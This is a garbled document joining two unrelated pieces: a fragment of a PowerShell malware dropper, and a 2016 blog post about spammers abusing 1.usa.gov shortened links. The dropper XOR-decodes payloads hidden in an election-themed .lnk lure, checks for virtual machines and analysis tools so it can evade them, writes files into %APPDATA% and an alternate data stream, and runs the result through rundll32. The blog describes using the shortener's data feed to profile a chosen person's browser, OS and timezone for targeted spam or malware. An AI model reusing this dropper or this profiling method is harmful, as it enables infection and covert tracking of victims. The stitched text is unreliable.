        $dpath = [Environment]::ExpandEnvironmentVariables($dpath)
        try {
            $ofd = [IO.File]::Open($dpath, [IO.FileMode]::OpenOrCreate, [IO.FileAccess]::Write);
        } 
        catch [Exception] {
            continue;
        }

        CopyFilePart $ifd $os $len $ofd
        $ofd.close()
        break

    }

    return $dpath

}

function CreateFile($path, $acc)

{

    $MethodDefinition = @\'
    [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
    public static extern Microsoft.Win32.SafeHandles.SafeFileHandle CreateFile(
        string fileName,
        [MarshalAs(UnmanagedType.U4)] System.IO.FileAccess fileAccess,
        [MarshalAs(UnmanagedType.U4)] System.IO.FileShare fileShare,
        IntPtr securityAttributes,
        [MarshalAs(UnmanagedType.U4)] System.IO.FileMode creationDisposition,
        [MarshalAs(UnmanagedType.U4)] System.IO.FileAttributes flags,
        IntPtr template);

\'@

    $Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name \'Kernel32\' -Namespace \'Win32\' -PassThru

    $handle = $Kernel32::CreateFile($path, $acc,[IO.FileShare]::ReadWrite, 0,[IO.FileMode]::OpenOrCreate,[IO.FileAttributes]::Normal,0)

    $fs = New-Object IO.FileStream($handle, $acc)
    return $fs

}

function xor_decode($b, $l, $k) {
    for($i = 0; $i -lt $l; $i++) {
        $b[$i] = $b[$i] -bxor $k

    }

}

function CopyFilePart([IO.FileStream] $ifd, $os, $len, [IO.FileStream] $ofd)
{
    $tmpbuf = New-Object byte[] 8182
    $buflen = $tmpbuf.Length

    $ifd.Seek($os, [IO.SeekOrigin]::Begin) | out-null
    while ($len -gt 0) {
        $ifd.Read($tmpbuf, 0, $buflen) | out-null

      xor_decode $tmpbuf $buflen 0x41
        $ofd.Write($tmpbuf, 0, $buflen)
        $len -= $buflen
        if ($buflen -gt $len) {
            $buflen = $len

        }
    }
}

function get_susp_rating() {
    $score = 0

    $lst = gwmi -namespace root\\cimv2 -query "SELECT * FROM Win32_BIOS"
    ForEach ($x in $lst) {
        $tmp = $x.SMBIOSBIOSVersion.ToLower()
        if ($tmp.contains("virtualbox") -or $tmp.contains("vmware")) { $score += 2 }

        $tmp = $x.SerialNumber.ToLower()
        if ($tmp.contains("vmware")) { $score += 2 }
    }

    $lst = gwmi -namespace root\\cimv2 -query "SELECT * FROM Win32_PnPEntity"
    ForEach ($x in $lst) {
        if ($x.DeviceId.contains("PCI\\VEN_80EE&DEV_CAFE")) { $score += 2}
    }

    if ($score -gt 2) {return $score}
        $myarr = @("user", "admin", "administrator", "user1")

    $lst = gwmi -namespace root\\cimv2 -query "Select * from Win32_ComputerSystem"
    ForEach ($comp in $lst) {

if (!$comp.PartOfDomain) {
            $score += 1
        }

        $tmp = $comp.UserName.ToLower()
        if ($tmp.contains("admin")) {
            $score += 2
        }

        ForEach ($x in $myarr) {
            if ($tmp.contains($x)) {
                $score += 1
            }
        }
    }

    if ($score -gt 2) {return $score}

    $myarr = @("procexp.exe", "taskmgr.exe", "wireshark.exe")

    $lst = gwmi -namespace root\\cimv2 -query "SELECT * FROM Win32_Process"
    ForEach ($item in $lst) {
        $tmp = $item.ExecutablePath
        if (!$tmp) { $tmp = "" }
        $tmp = $tmp.ToLower()
        ForEach ($x in $myarr) {
            if ($tmp.contains($x)) {
                $score += 3

   }

        }

    }

    if ($score -gt 2) {return $score}
        $myarr = @("sample")

    $tmp = (Get-Item -Path ".\\" -Verbose).FullName
    ForEach ($x in $myarr) {
        if ($tmp.contains($x)) {
            $score += 1
        }
    }

    $nm = Split-Path -Leaf $x
    $l = $nm.Split(\'.\')[0].Length
    if ($l -eq 32 -or $l -eq 40 -or $l -eq 64) {
        $score += 3
    }
    return $score;
}

function heat_proc() {
    $s = 0
    For ($i=1; $i -lt 53; $i++) {
        $s += ($i + ($i * $s)) % $i
    }
    Exit 0
}

function detect_susp_environ() {
    $score = get_susp_rating
    if ($score -gt 3) {
        heat_proc
    }
}


$acc = [IO.FileAccess]::READ

$lnkfd = CreateFile "37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk" $acc;
detect_susp_environ
$os = 0x892e0
$l = 0x9fdda - $os
$fpath = pl_dropper $lnkfd $os $l "%TEMP%\\37486-the-shocking-truth-about-election-rigging-in-america.rtf"

Invoke-Item "$fpath"
$os = 0x0dac
$l = 0x37ac - $os
$cfpath = pl_dropper $lnkfd $os $l "%APPDATA%\\Skype\\hqwhbr.lck"
$os = 0x37ac
$len = 0x892e0 - $os
$dst = ":schemas"
$ffpath = $cfpath

if ($dst[0] -ne ":") {
    $ffpath = Split-Path -Parent $ffpath
    $ffpath = "$ffpath\\"
}

$ffpath = "${ffpath}${dst}"
$acc = [IO.FileAccess]::Write
$fs = CreateFile $ffpath $acc
CopyFilePart $lnkfd $os $len $fs
$fs.Close()
&"rundll32.exe" "$cfpath," "#2"

Thoughts on Krebs article about .gov URL shortener abuse

——————Update: 19 Apr 2016

Nearly a month later the same spam campaign is still attempting to use the virginia government website to refer spam victims to their strikenx.bid and assembled.accountant domains.. Either people are reading spammy emails a month late, or the idiots in charge of the campaign haven’t changed their spam campaign despite it not properly using the referral.

Of note, some other pushers seem to be trying to exploit the referral mechanism of an EPA website, but failing as well..
new_spam_campaign

new_spam_campaign2

One other thing that I was thinking about with regards to reconnaissance is the Witchcoven campaign that fire eye reported on. https://www2.fireeye.com/rs/848-DID-242/images/rpt-witchcoven.pdf

Although the profiling that you can do with the method I detailed below is much more limited than what the Witchcoven actors are using, there is one distinct advantage with my method. There is no infrastructure or indicators to uncover since you don’t need to compromise a legit server or even buy your own profiling servers. With no easy way to link the reconnaissance to the next step which would be delivering the targeted recipients an exploit based on their android kernel and browser it would be significantly harder to figure out if victims are random targets of opportunity or chosen…

——————–end update

——————Update: 31 March 2016

I found another “fun” use for the data coming off the developer stream for the bit.ly gov shortener 1usagov.

Everybody talks about how bad the Android ecosystem is for updates, and that the majority of phones in the field are vulnerable to something or other. It is nice to see the data myself though. By curl’ing the developer stream and then grep’ing for Android versions it’s pretty apparent. I’m not even going to bother making iOS comparisons cause that has been done to death. Needless to say the world is ripe for the droid malware ecosystem or worse.

android

curl --url http://developer.usa.gov/1usagov | grep -o 'Android [0-9].[0-9].[0-9]'

android2

XP is dead, long live XP!
——————–end update

xp
Brian Krebs reported on this issue last week and I did some poking today so I thought I would write a small article.

http://krebsonsecurity.com/2016/03/spammers-abusing-trust-in-us-gov-domains/

As reported by Krebs, bit.ly offers a URL shortener to government addresses such as .gov, .mil, etc. The main security issue as reported by Krebs is that if a spammer or malware pusher can find any sort of local or state government site that offers shortening services to any site, they can then in turn use the bit.ly service to shorten it into a more legitimate looking 1.USA.gov address.

On my linux box I ran the following command to find an active spam operation.

curl --url http://developer.usa.gov/1usagov | grep "VAURL

The results were a Russian spam operation attempting to abuse a va.gov domain, but failing at it since the virginia website was not correctly directing to their URL’s.
spam_campaign

Domains associated with this particular Russian IP, and the spam campaign.
spam_campaign3

The more interesting thing for me isn’t the shortening tactic, but the USA.gov developer view that Krebs reported.

http://developer.usa.gov/1usagov
developer

If IP’s were included this would be pretty close to the ideal control panel that you would want for running a malware/spam campaign.

What is interesting about this to me?

I can use a LEGITIMATE and unique url for a government website, send it to someone after doing the bit.ly shortening which gives it the http://1.usa.gov/…. and then know all the information about their browser, and their timezone. Normally I would have to use BEEF, cookies, etc.. Now I can do it without using cookies, or owning any public domains/IP’s.

My idea in practice.

Find a random unique gov address:

http://www.fsis.usda.gov/wps/portal/fsis/topics/food-safety-education/get-answers/food-safety-fact-sheets/meat-preparation/ground-beef-and-food-safety/ct_index

Shorten it through bit.ly
http://1.usa.gov/1drrCH6

Curl the developer API website for the unique URL:

curl --url http://developer.usa.gov/1usagov | grep "http://www.fsis.usda.gov/wps/portal/fsis/topics/food-safety-education/get-answers/food-safety-fact-sheets/meat-preparation/ground-beef-and-food-safety/ct_index"

And sure enough………. I get a hit on my OS, browser, language, and timezone which could be useful info to then target further messages for a spam campaign or malware. Since this is a unique address I sent to one person I know there won’t be a false positive. Well, at least there wasn’t going to be until I posted it in this blog.. 😉

Capture_me

TAAS – Tracking As A Service. Is that a thing?